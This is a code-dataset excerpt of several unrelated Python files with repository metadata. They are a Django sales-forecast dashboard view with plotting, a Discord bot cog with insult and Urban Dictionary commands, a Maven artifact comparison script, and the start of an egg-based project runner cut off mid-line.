= grossMargin[23]\n BoUpObject.gm2044 = 0.0\n\n BoUpObject.wVol2020 = float(volumes[0]) * statusProbability\n BoUpObject.wVol2021 = float(volumes[1]) * statusProbability\n BoUpObject.wVol2022 = float(volumes[2]) * statusProbability\n BoUpObject.wVol2023 = float(volumes[3]) * statusProbability\n BoUpObject.wVol2024 = float(volumes[4]) * statusProbability\n BoUpObject.wVol2025 = float(volumes[5]) * statusProbability\n BoUpObject.wVol2026 = float(volumes[6]) * statusProbability\n BoUpObject.wVol2027 = float(volumes[7]) * statusProbability\n BoUpObject.wVol2028 = float(volumes[8]) * statusProbability\n BoUpObject.wVol2029 = float(volumes[9]) * statusProbability\n BoUpObject.wVol2030 = float(volumes[10]) * statusProbability\n BoUpObject.wVol2031 = float(volumes[11]) * statusProbability\n BoUpObject.wVol2032 = float(volumes[12]) * statusProbability\n BoUpObject.wVol2033 = float(volumes[13]) * statusProbability\n BoUpObject.wVol2034 = float(volumes[14]) * statusProbability\n BoUpObject.wVol2035 = float(volumes[15]) * statusProbability\n BoUpObject.wVol2036 = float(volumes[16]) * statusProbability\n BoUpObject.wVol2037 = float(volumes[17]) * statusProbability\n BoUpObject.wVol2038 = float(volumes[18]) * statusProbability\n BoUpObject.wVol2039 = float(volumes[19]) * statusProbability\n BoUpObject.wVol2040 = float(volumes[20]) * statusProbability\n BoUpObject.wVol2041 = float(volumes[21]) * statusProbability\n BoUpObject.wVol2042 = float(volumes[22]) * statusProbability\n BoUpObject.wVol2043 = float(volumes[23]) * statusProbability\n BoUpObject.wVol2044 = 0.0\n\n BoUpObject.wRev2020 = revenue[0] * statusProbability\n BoUpObject.wRev2021 = revenue[1] * statusProbability\n BoUpObject.wRev2022 = revenue[2] * statusProbability\n BoUpObject.wRev2023 = revenue[3] * statusProbability\n BoUpObject.wRev2024 = revenue[4] * statusProbability\n BoUpObject.wRev2025 = revenue[5] * statusProbability\n BoUpObject.wRev2026 = revenue[6] * statusProbability\n BoUpObject.wRev2027 = revenue[7] * statusProbability\n BoUpObject.wRev2028 = revenue[8] * statusProbability\n BoUpObject.wRev2029 = revenue[9] * statusProbability\n BoUpObject.wRev2030 = revenue[10] * statusProbability\n BoUpObject.wRev2031 = revenue[11] * statusProbability\n BoUpObject.wRev2032 = revenue[12] * statusProbability\n BoUpObject.wRev2033 = revenue[13] * statusProbability\n BoUpObject.wRev2034 = revenue[14] * statusProbability\n BoUpObject.wRev2035 = revenue[15] * statusProbability\n BoUpObject.wRev2036 = revenue[16] * statusProbability\n BoUpObject.wRev2037 = revenue[17] * statusProbability\n BoUpObject.wRev2038 = revenue[18] * statusProbability\n BoUpObject.wRev2039 = revenue[19] * statusProbability\n BoUpObject.wRev2040 = revenue[20] * statusProbability\n BoUpObject.wRev2041 = revenue[21] * statusProbability\n BoUpObject.wRev2042 = revenue[22] * statusProbability\n BoUpObject.wRev2043 = revenue[23] * statusProbability\n BoUpObject.wRev2044 = 0.0\n\n BoUpObject.fy_vol2020 = volumes_FY[0]\n BoUpObject.fy_vol2021 = volumes_FY[1]\n BoUpObject.fy_vol2022 = volumes_FY[2]\n BoUpObject.fy_vol2023 = volumes_FY[3]\n BoUpObject.fy_vol2024 = volumes_FY[4]\n BoUpObject.fy_vol2025 = volumes_FY[5]\n BoUpObject.fy_vol2026 = volumes_FY[6]\n BoUpObject.fy_vol2027 = volumes_FY[7]\n BoUpObject.fy_vol2028 = volumes_FY[8]\n BoUpObject.fy_vol2029 = volumes_FY[9]\n BoUpObject.fy_vol2030 = volumes_FY[10]\n BoUpObject.fy_vol2031 = volumes_FY[11]\n BoUpObject.fy_vol2032 = volumes_FY[12]\n BoUpObject.fy_vol2033 = volumes_FY[13]\n BoUpObject.fy_vol2034 = volumes_FY[14]\n BoUpObject.fy_vol2035 = volumes_FY[15]\n BoUpObject.fy_vol2036 = volumes_FY[16]\n BoUpObject.fy_vol2037 = volumes_FY[17]\n BoUpObject.fy_vol2038 = volumes_FY[18]\n BoUpObject.fy_vol2039 = volumes_FY[19]\n BoUpObject.fy_vol2040 = volumes_FY[20]\n BoUpObject.fy_vol2041 = volumes_FY[21]\n BoUpObject.fy_vol2042 = volumes_FY[22]\n BoUpObject.fy_vol2043 = volumes_FY[23]\n BoUpObject.fy_vol2044 = 0.0\n\n BoUpObject.fy_gm2020 = grossProfit_FY[0]\n BoUpObject.fy_gm2021 = grossProfit_FY[1]\n BoUpObject.fy_gm2022 = grossProfit_FY[2]\n BoUpObject.fy_gm2023 = grossProfit_FY[3]\n BoUpObject.fy_gm2024 = grossProfit_FY[4]\n BoUpObject.fy_gm2025 = grossProfit_FY[5]\n BoUpObject.fy_gm2026 = grossProfit_FY[6]\n BoUpObject.fy_gm2027 = grossProfit_FY[7]\n BoUpObject.fy_gm2028 = grossProfit_FY[8]\n BoUpObject.fy_gm2029 = grossProfit_FY[9]\n BoUpObject.fy_gm2030 = grossProfit_FY[10]\n BoUpObject.fy_gm2031 = grossProfit_FY[11]\n BoUpObject.fy_gm2032 = grossProfit_FY[12]\n BoUpObject.fy_gm2033 = grossProfit_FY[13]\n BoUpObject.fy_gm2034 = grossProfit_FY[14]\n BoUpObject.fy_gm2035 = grossProfit_FY[15]\n BoUpObject.fy_gm2036 = grossProfit_FY[16]\n BoUpObject.fy_gm2037 = grossProfit_FY[17]\n BoUpObject.fy_gm2038 = grossProfit_FY[18]\n BoUpObject.fy_gm2039 = grossProfit_FY[19]\n BoUpObject.fy_gm2040 = grossProfit_FY[20]\n BoUpObject.fy_gm2041 = grossProfit_FY[21]\n BoUpObject.fy_gm2042 = grossProfit_FY[22]\n BoUpObject.fy_gm2043 = grossProfit_FY[23]\n BoUpObject.fy_gm2044 = 0.0\n\n BoUpObject.fy_wVol2020 = float(volumes_FY[0]) * statusProbability\n BoUpObject.fy_wVol2021 = float(volumes_FY[1]) * statusProbability\n BoUpObject.fy_wVol2022 = float(volumes_FY[2]) * statusProbability\n BoUpObject.fy_wVol2023 = float(volumes_FY[3]) * statusProbability\n BoUpObject.fy_wVol2024 = float(volumes_FY[4]) * statusProbability\n BoUpObject.fy_wVol2025 = float(volumes_FY[5]) * statusProbability\n BoUpObject.fy_wVol2026 = float(volumes_FY[6]) * statusProbability\n BoUpObject.fy_wVol2027 = float(volumes_FY[7]) * statusProbability\n BoUpObject.fy_wVol2028 = float(volumes_FY[8]) * statusProbability\n BoUpObject.fy_wVol2029 = float(volumes_FY[9]) * statusProbability\n BoUpObject.fy_wVol2030 = float(volumes_FY[10]) * statusProbability\n BoUpObject.fy_wVol2031 = float(volumes_FY[11]) * statusProbability\n BoUpObject.fy_wVol2032 = float(volumes_FY[12]) * statusProbability\n BoUpObject.fy_wVol2033 = float(volumes_FY[13]) * statusProbability\n BoUpObject.fy_wVol2034 = float(volumes_FY[14]) * statusProbability\n BoUpObject.fy_wVol2035 = float(volumes_FY[15]) * statusProbability\n BoUpObject.fy_wVol2036 = float(volumes_FY[16]) * statusProbability\n BoUpObject.fy_wVol2037 = float(volumes_FY[17]) * statusProbability\n BoUpObject.fy_wVol2038 = float(volumes_FY[18]) * statusProbability\n BoUpObject.fy_wVol2039 = float(volumes_FY[19]) * statusProbability\n BoUpObject.fy_wVol2040 = float(volumes_FY[20]) * statusProbability\n BoUpObject.fy_wVol2041 = float(volumes_FY[21]) * statusProbability\n BoUpObject.fy_wVol2042 = float(volumes_FY[22]) * statusProbability\n BoUpObject.fy_wVol2043 = float(volumes_FY[23]) * statusProbability\n BoUpObject.fy_wVol2044 = 0.0\n\n BoUpObject.fy_wRev2020 = revenue_FY[0] * statusProbability\n BoUpObject.fy_wRev2021 = revenue_FY[1] * statusProbability\n BoUpObject.fy_wRev2022 = revenue_FY[2] * statusProbability\n BoUpObject.fy_wRev2023 = revenue_FY[3] * statusProbability\n BoUpObject.fy_wRev2024 = revenue_FY[4] * statusProbability\n BoUpObject.fy_wRev2025 = revenue_FY[5] * statusProbability\n BoUpObject.fy_wRev2026 = revenue_FY[6] * statusProbability\n BoUpObject.fy_wRev2027 = revenue_FY[7] * statusProbability\n BoUpObject.fy_wRev2028 = revenue_FY[8] * statusProbability\n BoUpObject.fy_wRev2029 = revenue_FY[9] * statusProbability\n BoUpObject.fy_wRev2030 = revenue_FY[10] * statusProbability\n BoUpObject.fy_wRev2031 = revenue_FY[11] * statusProbability\n BoUpObject.fy_wRev2032 = revenue_FY[12] * statusProbability\n BoUpObject.fy_wRev2033 = revenue_FY[13] * statusProbability\n BoUpObject.fy_wRev2034 = revenue_FY[14] * statusProbability\n BoUpObject.fy_wRev2035 = revenue_FY[15] * statusProbability\n BoUpObject.fy_wRev2036 = revenue_FY[16] * statusProbability\n BoUpObject.fy_wRev2037 = revenue_FY[17] * statusProbability\n BoUpObject.fy_wRev2038 = revenue_FY[18] * statusProbability\n BoUpObject.fy_wRev2039 = revenue_FY[19] * statusProbability\n BoUpObject.fy_wRev2040 = revenue_FY[20] * statusProbability\n BoUpObject.fy_wRev2041 = revenue_FY[21] * statusProbability\n BoUpObject.fy_wRev2042 = revenue_FY[22] * statusProbability\n BoUpObject.fy_wRev2043 = revenue_FY[23] * statusProbability\n BoUpObject.fy_wRev2044 = 0.0\n\n BoUpObject.save()\n print(\n created, \"BoUp object\", BoUpObject, \"time of creation\", time.time() - start_time\n )\n\n # get data from boup\n\n total_df = restructure_single(BoUpObject.id)\n\n id_list = total_df[\"id\"].tolist()\n Reviewed_list = total_df[\"Reviewed\"].tolist()\n reviewDate_list = total_df[\"reviewDate\"].tolist()\n ID_APP_id_list = total_df[\"ID_APP_id\"].tolist()\n applicationLine_list = total_df[\"applicationLine\"].tolist()\n productMarketer_id_list = total_df[\"productMarketer_id\"].tolist()\n hfg_list = total_df[\"hfg\"].tolist()\n ppos_list = total_df[\"ppos\"].tolist()\n spNumber_list = total_df[\"spNumber\"].tolist()\n applicationMain_id_list = total_df[\"applicationMain_id\"].tolist()\n applicationDetail_id_list = total_df[\"applicationDetail_id\"].tolist()\n rfp_id_list = total_df[\"rfp_id\"].tolist()\n salesName_id_list = total_df[\"salesName_id\"].tolist()\n priceSource_list = total_df[\"priceSource\"].tolist()\n familyPriceApplicable_list = total_df[\"familyPriceApplicable\"].tolist()\n familyPriceDetails_list = total_df[\"familyPriceDetails\"].tolist()\n priceType_list = total_df[\"priceType\"].tolist()\n currency_list = total_df[\"currency\"].tolist()\n fxRate_list = total_df[\"fxRate\"].tolist()\n comment_list = total_df[\"comment\"].tolist()\n region_list = total_df[\"region\"].tolist()\n projectName_list = total_df[\"projectName\"].tolist()\n mainCustomer_id_list = total_df[\"mainCustomer_id\"].tolist()\n endCustomer_id_list = total_df[\"endCustomer_id\"].tolist()\n distributor_list = total_df[\"distributor\"].tolist()\n tier1_list = total_df[\"tier1\"].tolist()\n oem_id_list = total_df[\"oem_id\"].tolist()\n ems_list = total_df[\"ems\"].tolist()\n vpaCustomer_list = total_df[\"vpaCustomer\"].tolist()\n dragonId_list = total_df[\"dragonId\"].tolist()\n salesContact_list = total_df[\"salesContact\"].tolist()\n probability_list = total_df[\"probability\"].tolist()\n statusProbability_list = total_df[\"statusProbability\"].tolist()\n sop_list = total_df[\"sop\"].tolist()\n availablePGS_list = total_df[\"availablePGS\"].tolist()\n modifiedBy_id_list = total_df[\"modifiedBy_id\"].tolist()\n modifiedDate_list = total_df[\"modifiedDate\"].tolist()\n creationDate_list = total_df[\"creationDate\"].tolist()\n timeBottomUp_list = total_df[\"timeBottomUp\"].tolist()\n basicType_list = total_df[\"basicType\"].tolist()\n package_list = total_df[\"package\"].tolist()\n series_list = total_df[\"series\"].tolist()\n gen_list = total_df[\"gen\"].tolist()\n seriesLong_list = total_df[\"seriesLong\"].tolist()\n genDetail_list = total_df[\"genDetail\"].tolist()\n gmLifeTime_list = total_df[\"gmLifeTime\"].tolist()\n revEurLifeTime_list = total_df[\"revEurLifeTime\"].tolist()\n volLifeTime_list = total_df[\"volLifeTime\"].tolist()\n volWeightedLifeTime_list = total_df[\"volWeightedLifeTime\"].tolist()\n year_list = total_df[\"year\"].tolist()\n vol_list = total_df[\"vol\"].tolist()\n volCustomer_list = total_df[\"volCustomer\"].tolist()\n price_list = total_df[\"price\"].tolist()\n vhk_list = total_df[\"vhk\"].tolist()\n gm_list = total_df[\"gm\"].tolist()\n wVol_list = total_df[\"wVol\"].tolist()\n wRev_list = total_df[\"wRev\"].tolist()\n fy_vol_list = total_df[\"fy_vol\"].tolist()\n fy_gm_list = total_df[\"fy_gm\"].tolist()\n fy_wVol_list = total_df[\"fy_wVol\"].tolist()\n fy_wRev_list = total_df[\"fy_wRev\"].tolist()\n\n df_list = []\n df_list.append(id_list) # 0\n df_list.append(Reviewed_list) # 1\n df_list.append(reviewDate_list) # 2\n df_list.append(ID_APP_id_list) # 3\n df_list.append(applicationLine_list) # 4\n df_list.append(productMarketer_id_list) # 5\n df_list.append(hfg_list) # 6\n df_list.append(ppos_list) # 7\n df_list.append(spNumber_list) # 8\n df_list.append(applicationMain_id_list) # 9\n df_list.append(applicationDetail_id_list) # 10\n df_list.append(rfp_id_list) # 11\n df_list.append(salesName_id_list) # 12\n df_list.append(priceSource_list) # 13\n df_list.append(familyPriceApplicable_list) # 14\n df_list.append(familyPriceDetails_list) # 15\n df_list.append(priceType_list) # 16\n df_list.append(currency_list) # 17\n df_list.append(fxRate_list) # 18\n df_list.append(comment_list) # 19\n df_list.append(region_list) # 20\n df_list.append(projectName_list) # 21\n df_list.append(mainCustomer_id_list) # 22\n df_list.append(endCustomer_id_list) # 23\n df_list.append(distributor_list) # 24\n df_list.append(tier1_list) # 25\n df_list.append(oem_id_list) # 26\n df_list.append(ems_list) # 27\n df_list.append(vpaCustomer_list) # 28\n df_list.append(dragonId_list) # 29\n df_list.append(salesContact_list) # 30\n df_list.append(probability_list) # 31\n df_list.append(statusProbability_list) # 32\n df_list.append(sop_list) # 33\n df_list.append(availablePGS_list) # 34\n df_list.append(modifiedBy_id_list) # 35\n df_list.append(modifiedDate_list) # 36\n df_list.append(creationDate_list) # 37\n df_list.append(timeBottomUp_list) # 38\n df_list.append(basicType_list) # 39\n df_list.append(package_list) # 40\n df_list.append(series_list) # 41\n df_list.append(gen_list) # 42\n df_list.append(seriesLong_list) # 43\n df_list.append(genDetail_list) # 44\n df_list.append(gmLifeTime_list) # 45\n df_list.append(revEurLifeTime_list) # 46\n df_list.append(volLifeTime_list) # 47\n df_list.append(volWeightedLifeTime_list) # 48\n df_list.append(year_list) # 49\n df_list.append(vol_list) # 50\n df_list.append(volCustomer_list) # 51\n df_list.append(price_list) # 52\n df_list.append(vhk_list) # 53\n df_list.append(gm_list) # 54\n df_list.append(wVol_list) # 55\n df_list.append(wRev_list) # 56\n df_list.append(fy_vol_list) # 57\n df_list.append(fy_gm_list) # 58\n df_list.append(fy_wVol_list) # 59\n df_list.append(fy_wRev_list) # 60\n\n # this here is to get the whole BoUp table set and create graphics based on the SQL query\n \"\"\"\n dfAllBoUp = pd.DataFrame(list(BoUp.objects.all().values()))\n dfQuery = restructure_whole(dfAllBoUp)\n \n print(\"quick testing 1\")\n print(BoUpCy(dfAllBoUp))\n print(\"second one\")\n print(BoUpFy(dfAllBoUp))\n \n print(\"quick testing 2\")\n print(checkBoUpEntryGapsPrice(dfQuery))\n print(\"second one\")\n print(checkBoUpEntryGapsVol(dfQuery))\n \"\"\"\n\n \"\"\"\n #sqlRes = sql_group_series_endcustomer(dfQuery, 2020, 2030) #logic to determine what should be the first year and what should be the last year\n sqlRes = sql_group_family_gen_series_endcustomer_year(dfQuery)\n\n #redesign sqlresult to use it in chart.js\n sqlRes_list = []\n for col in sqlRes[0].columns:\n sqlRes_list.append(sqlRes[0][col].tolist() )\n print(projectId)\n print(\"here is the error dic table\", errorDicTableLvl(projectId))\n print(\"here is the error dic project\", errorDicProjectLvl(projectId))\n \n print(\"sql res\")\n print(sqlRes) \n \"\"\"\n # plots\n plt.switch_backend(\"agg\")\n\n # xy graph with matplotlib\n # plt.figure()\n # plt.scatter(years, revenue, label = \"Revenue\")\n # plt.scatter(years, grossMargin, label = \"Gross Margin\")\n # plt.plot(years, revenue)\n # plt.plot(years, grossMargin)\n\n # plt.title('Revenue and Gross Margin ')\n # plt.xlabel(\"Year\")\n # plt.ylabel(\"EUR\")\n # plt.legend()\n\n # xy graph with seaborn\n sns.set_style(\"darkgrid\")\n\n print(\"checking out\", total_df[\"price\"])\n rev_margin = sns.lineplot(\n total_df[\"year\"],\n total_df[\"price\"] * total_df[\"vol\"],\n label=\"Revenue\",\n marker=\"o\",\n )\n sns.lineplot(total_df[\"year\"], total_df[\"gm\"], label=\"Cost Margin\", marker=\"o\")\n rev_margin.set(title=\"Revenue and Cost Margin\", xlabel=\"Year\", ylabel=\"EUR\")\n\n revenueMarginPlot = io.BytesIO()\n plt.savefig(revenueMarginPlot, format=\"jpg\")\n revenueMarginPlot.seek(0)\n revenueMarginPlotBase64 = base64.b64encode(revenueMarginPlot.read())\n plt.clf()\n\n encodedrevenueMarginPlotBase64 = str(revenueMarginPlotBase64)\n encodedrevenueMarginPlotBase64 = encodedrevenueMarginPlotBase64[2:]\n encodedrevenueMarginPlotBase64 = encodedrevenueMarginPlotBase64[:-1]\n\n print(\"first done\")\n rev_margin_FY = sns.lineplot(\n total_df[\"year\"], revenue_FY, label=\"Revenue\", marker=\"o\"\n )\n sns.lineplot(total_df[\"year\"], total_df[\"fy_gm\"], label=\"Cost Margin\", marker=\"o\")\n rev_margin_FY.set(title=\"Revenue and Cost Margin FY\", xlabel=\"Year\", ylabel=\"EUR\")\n\n revenueMarginPlot_FY = io.BytesIO()\n plt.savefig(revenueMarginPlot_FY, format=\"jpg\")\n revenueMarginPlot_FY.seek(0)\n revenueMarginPlotBase64_FY = base64.b64encode(revenueMarginPlot_FY.read())\n plt.clf()\n\n encodedrevenueMarginPlotBase64_FY = str(revenueMarginPlotBase64_FY)\n encodedrevenueMarginPlotBase64_FY = encodedrevenueMarginPlotBase64_FY[2:]\n encodedrevenueMarginPlotBase64_FY = encodedrevenueMarginPlotBase64_FY[:-1]\n\n print(\"second done\")\n monthPlot = sns.lineplot(all_months, volumesMonth, label=\"Volume\", marker=\"o\")\n monthPlot.set(title=\"Volume by month\", xlabel=\"Month\", ylabel=\"EUR\")\n\n monthVolumePlot = io.BytesIO()\n plt.savefig(monthVolumePlot, format=\"jpg\")\n monthVolumePlot.seek(0)\n monthVolumePlotBase64 = base64.b64encode(monthVolumePlot.read())\n plt.clf()\n\n monthVolumePlotBase64 = str(monthVolumePlotBase64)\n monthVolumePlotBase64 = monthVolumePlotBase64[2:]\n monthVolumePlotBase64 = monthVolumePlotBase64[:-1]\n print(\"third done\")\n\n fig, ax = plt.subplots()\n ax2 = ax.twinx()\n volPrice = sns.lineplot(x=total_df[\"year\"], y=total_df[\"vol\"], ax=ax, marker=\"o\")\n sns.lineplot(\n total_df[\"year\"], total_df[\"price\"], ax=ax2, color=\"orange\", marker=\"o\"\n )\n ax.legend(handles=[a.lines[0] for a in [ax, ax2]], labels=[\"Prices\", \"Volumes\"])\n ax.set_ylabel(\"Pieces\")\n ax2.set_ylabel(\"EUR\")\n volPrice.set(title=\"Volume and Price\")\n\n volumePricePlot = io.BytesIO()\n plt.savefig(volumePricePlot, format=\"jpg\")\n volumePricePlot.seek(0)\n volumePricePlotBase64 = base64.b64encode(volumePricePlot.read())\n plt.clf()\n\n encodedvolumePricePlotBase64 = str(volumePricePlotBase64)\n encodedvolumePricePlotBase64 = encodedvolumePricePlotBase64[2:]\n encodedvolumePricePlotBase64 = encodedvolumePricePlotBase64[:-1]\n print(\"forth done\")\n \"\"\"\n fig= plt.figure()\n ax = fig.add_subplot()\n a = 1\n a_slider_ax = fig.add_axes([0.6, 0.75, 0.25, 0.03])\n a_slider = mw.Slider(a_slider_ax, 'Price Multiplikator', 0, 5, valinit = a)\n\n def sliders_on_change(val):\n\n p.set_ydata([x*a_slider.val for x in prices])\n\n fig.canvas.draw_idle()\n\n a_slider.on_changed(sliders_on_change)\n p,=ax.plot(years, prices, 'r-')\n \n\n SliderPlot = io.BytesIO()\n plt.savefig(SliderPlot, format='jpg')\n SliderPlot.seek(0)\n SliderPlotBase64 = base64.b64encode(SliderPlot.read())\n plt.clf()\n\n\n encodedSliderPlotBase64 = str(SliderPlotBase64)\n encodedSliderPlotBase64 = encodedSliderPlotBase64[2:]\n encodedSliderPlotBase64 = encodedSliderPlotBase64[:-1]\n \"\"\"\n\n df = pd.DataFrame(\n {\n \"YEAR\": total_df[\"year\"],\n \"region\": [\"EU\" for x in total_df[\"year\"]],\n \"grossMargin\": [float(x) for x in total_df[\"gm\"]],\n }\n )\n df.set_index(\"YEAR\", inplace=True)\n\n # group data by product and display sales as line chart\n df.groupby(\"region\")[\"grossMargin\"].plot(legend=True)\n\n regionPlot = io.BytesIO()\n plt.savefig(regionPlot, format=\"jpg\")\n regionPlot.seek(0)\n regionPlotBase64 = base64.b64encode(regionPlot.read())\n plt.clf()\n\n encodedregionPlotBase64 = str(regionPlotBase64)\n encodedregionPlotBase64 = encodedregionPlotBase64[2:]\n encodedregionPlotBase64 = encodedregionPlotBase64[:-1]\n\n print(\"fifth done\")\n\n plt.close()\n\n \"\"\"\n Conflict checks:\n •\tDisplay what you have created\n o\tGraph of volume\n o\tExpected revenue\n o\tPrice curve over time\n o\tExpected gross margin\n •\tFor the next project: if we do price db we can show you here how it deviates from other customers\n •\tFor this project ass added value: put here oem and tier 1 information. Existing volume at this t1…. How much of your project represents for this tier 1 … are you creating a lot of business? Or evtl to be combined with pricing db\n •\tShow if family prices apply\n\n ## check if matches protifability vorgaben, warnings or blocks\n ## automail to PM lead upon completion\n \n Evtl: competing order from tier1 or OEM… based on the data for this OEM you are competing at OEM level with this order and compare here the prices….\n\n \"\"\"\n\n # save draft & continue later\n\n # save project\n\n project = Project.objects.get(id=projectId)\n reportForm = ReportForm()\n\n return render(\n request,\n \"productMarketing/entryBase.html\",\n {\n \"step\": 4,\n \"overviewForm\": reportForm,\n \"revenueMarginPlotBase64\": encodedrevenueMarginPlotBase64,\n \"volumePricePlotBase64\": encodedvolumePricePlotBase64,\n \"RegionPlotBase64\": encodedregionPlotBase64,\n \"MonthVolumeBase64\": monthVolumePlotBase64,\n \"FYrevenueBase64\": encodedrevenueMarginPlotBase64_FY,\n \"projectId\": projectId,\n \"year_gm\": df_list,\n },\n )\n\n\n# for editing\ndef projectEdit(request, case, projectId):\n # case 0: key facts, 1: volume entry, 2: price entry, 3: review\n\n enterProjectForm = EnterProjectForm()\n applicationMainForm = ApplicationMainForm()\n\n print(\"########### project edit screen, project pk\", projectId)\n\n if request.method == \"POST\":\n print(\"post\")\n\n if case == 0:\n\n # testView =\n # print(\"returning testview\", testView)\n\n if request.method == \"POST\":\n return editCase0post(request, projectId)\n\n return editCase0(request, projectId)\n\n else:\n\n years = [\n 2099,\n 2021,\n 2022,\n 2023,\n 2024,\n 2025,\n 2026,\n 2027,\n 2028,\n 2029,\n 2030,\n 2031,\n 2032,\n 2034,\n 2035,\n 2036,\n 2037,\n 2038,\n 2039,\n 2040,\n 2041,\n 2042,\n 2043,\n 2044,\n 2045,\n ]\n volumes = []\n customerVolumes = []\n prices = []\n project = Project.objects.get(id=projectId)\n\n for year in years:\n\n try:\n object = ProjectVolumePrices.objects.get(\n project=project, calenderYear=year\n )\n volumes.append(object.quantity)\n customerVolumes.append(object.quantityCustomerEstimation)\n except:\n volumes.append(0)\n customerVolumes.append(0)\n\n print(\"volumes\", volumes)\n return render(\n request,\n \"productMarketing/projectEdit/projectEdit.html\",\n {\n \"projectId\": projectId,\n \"enterProjectForm\": enterProjectForm,\n \"applicationMainForm\": applicationMainForm,\n \"step\": case,\n \"volumes\": volumes,\n \"years\": years,\n \"customerVolumes\": customerVolumes,\n },\n )\n\n\n# project management\ndef projectManagement(request, case):\n # case 0: key facts, 1: volume entry, 2: price entry, 3: review\n\n if case == 0:\n\n return render(\n request,\n \"productMarketing/projectManagement/projectManagement.html\",\n {\n \"segment\": \"projectManagement\",\n \"step\": case,\n },\n )\n\n else:\n\n return render(\n request,\n \"productMarketing/projectManagement/projectManagement.html\",\n {\n \"segment\": \"projectManagement\",\n \"step\": case,\n },\n )\n","repo_name":"DevToc/DJango_Dashboard","sub_path":"core/productMarketing/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":116200,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"29241638650","text":"# coding=utf-8\n\"\"\"File containing salty commands for the bot\"\"\"\nimport json\nimport random\n\nimport discord\nfrom asyncurban import UrbanDictionary, errors\nfrom discord.ext import commands\nfrom bot.main import Bot\nfrom bot.utils import checks\n\n\nclass Salty:\n \"\"\"Cog containing salty commands for the bot\"\"\"\n def __init__(self, bot: Bot):\n self.bot = bot\n self.UD = UrbanDictionary(session=self.bot.session)\n with open(\"bot/files/insults.json\") as insults:\n self.insult_words = json.load(insults)\n\n @commands.command()\n @checks.bot_has_role(\"Salty\")\n async def insult(self, ctx, user: str = None):\n \"\"\"Insults a user.\"\"\"\n name = f\"{str(user) + ': ' if user else ''}\"\n\n words_list = [self.insult_words['A'], self.insult_words['B'], self.insult_words['C'], self.insult_words['D'],\n self.insult_words['E'], self.insult_words['F']]\n insult = [random.choice(i) for i in words_list]\n\n # The one case where using .format is better and shorter than a format string\n await ctx.send(\"{} You are {} {} {} and a {} {} {}.\".format(name, *insult))\n\n @commands.command(aliases=[\"ud\"])\n @checks.bot_has_role(\"Salty\")\n async def urband(self, ctx, *, query: str):\n \"\"\"Finds a phrase in the Urban Dictionary.\"\"\"\n try:\n term = await self.UD.get_word(query)\n em = discord.Embed(color=0x2EAE48)\n em.title = term.word\n em.url = term.permalink\n em.description = term.definition\n em.set_footer(text=\"Author: {}\".format(term.author))\n em.timestamp = ctx.message.created_at\n await ctx.send(embed=em)\n except errors.WordNotFoundError:\n em = discord.Embed(color=discord.Color.red())\n em.title = \"\\N{CROSS MARK} Error\"\n em.description = \"Either the page doesn't exist, or you typed it in wrong. Either way, please try again.\"\n return await ctx.send(embed=em)\n except errors.UrbanConnectionError:\n await ctx.send(\"I couldn't connect to the Urban Dictionary API, sorry!\")\n\n\ndef setup(bot: Bot):\n \"\"\"Setup function for the cog\"\"\"\n bot.add_cog(Salty(bot))\n","repo_name":"EJH2/Bot","sub_path":"bot/cogs/salty.py","file_name":"salty.py","file_ext":"py","file_size_in_byte":2214,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"69"} +{"seq_id":"74249426460","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\nCreated on 2020-02-13 00:14 \n\n@author: congyingxu\n\n统计一下,有多少重叠部分\n\"\"\"\n\nimport json\n\nGAV_mt_1000IC = {}\nGAV_mt_1500 = {}\njar = []\n\n\nAll_gav = 0\ncrawled_gav = 0\n\ndef read():\n global GAV_mt_1000IC,GAV_mt_1500,jar\n\n GAV_mt_1000IC_path = 'Local_Data/gav_mt_1000_ic.json'\n GAV_mt_1500_path = 'Local_Data/gav_mt_1500.json'\n jar_path = 'Local_Data/jars.json'\n\n with open(GAV_mt_1000IC_path,'r') as f:\n GAV_mt_1000IC = json.loads( f.read() )\n\n with open(GAV_mt_1500_path,'r') as f:\n GAV_mt_1500 = json.loads( f.read() )\n\n with open(jar_path, 'r') as f:\n jar = json.loads(f.read())\n\n\ndef collect():\n global All_gav,crawled_gav\n\n # for GA in GAV_mt_1000IC.keys():\n # A = GA.split(\"__fdse__\")[1]\n # for V in GAV_mt_1000IC[GA]:\n\n for GA in GAV_mt_1500.keys():\n A = GA.split(\"__fdse__\")[1]\n for V in GAV_mt_1500[GA]:\n\n\n All_gav += 1\n\n AV_name = GA.split(\"__fdse__\")[1] + \"-\" + V + \".jar\"\n\n # print(AV_name)\n if AV_name in jar:\n crawled_gav +=1\n\n\nMore_GA_count = 0\nMore_GAV_count = 0\n\ndef collect0215():\n global More_GA_count, More_GAV_count\n\n\n for GA in GAV_mt_1000IC.keys():\n\n if GA in GAV_mt_1500.keys():\n for V in GAV_mt_1000IC[GA]:\n if V in GAV_mt_1500[GA]:\n continue\n else:\n More_GAV_count += 1\n else:\n # print(GA)\n More_GA_count += 1\n More_GAV_count += len( GAV_mt_1000IC[GA] )\n\n\n\n\n\nread()\n# collect()\n# print(\"GAV_mt_1500: \",crawled_gav , All_gav)\n\ncollect0215()\nprint(\"More_GA_count: \",More_GA_count)\nprint(\"More_GAV_count: \",More_GAV_count)","repo_name":"Silentsoul04/CodeMiningTeam_Tasks","sub_path":"SpecialCrawlingTask/collectData.py","file_name":"collectData.py","file_ext":"py","file_size_in_byte":1762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"71898499420","text":"\"\"\"PYTHON 项目通用执行器\"\"\"\nimport os\nimport sys\nimport importlib\n\nfrom tornado import ioloop\n\nfrom settings import *\n\n\nclass Environment:\n \"\"\"上下文管理器负责运行前的检查和善后处理\"\"\"\n def __init__(self, project, version):\n self.project = project\n self.version = version\n\n async def __aenter__(self):\n \"\"\"事前准备\n 如检查文件是否存在等操作\"\"\"\n egg = str(PurePath.joinpath(EGG_DIR, self.project, self.version + FILE_TYPE[0]))\n if os.path.isfile(egg):\n # 将文件路径添加到path\n sys.path.insert(0, egg)\n else:\n raise ValueError('EGG not found.')\n\n async def __aexit__(self, exc_type, exc_val, exc_tb):\n \"\"\"事后处理\n 因demo中并无处理需求,所以pass\"\"\"\n pass\n\n\nasync def main():\n # 获取传入的参数\n project, version, module_name = sys.argv[-3:]\n sys.argv = sys.argv[:3]\n async with Environment(project, version):\n # 导包并运行固定的run方法\n module = 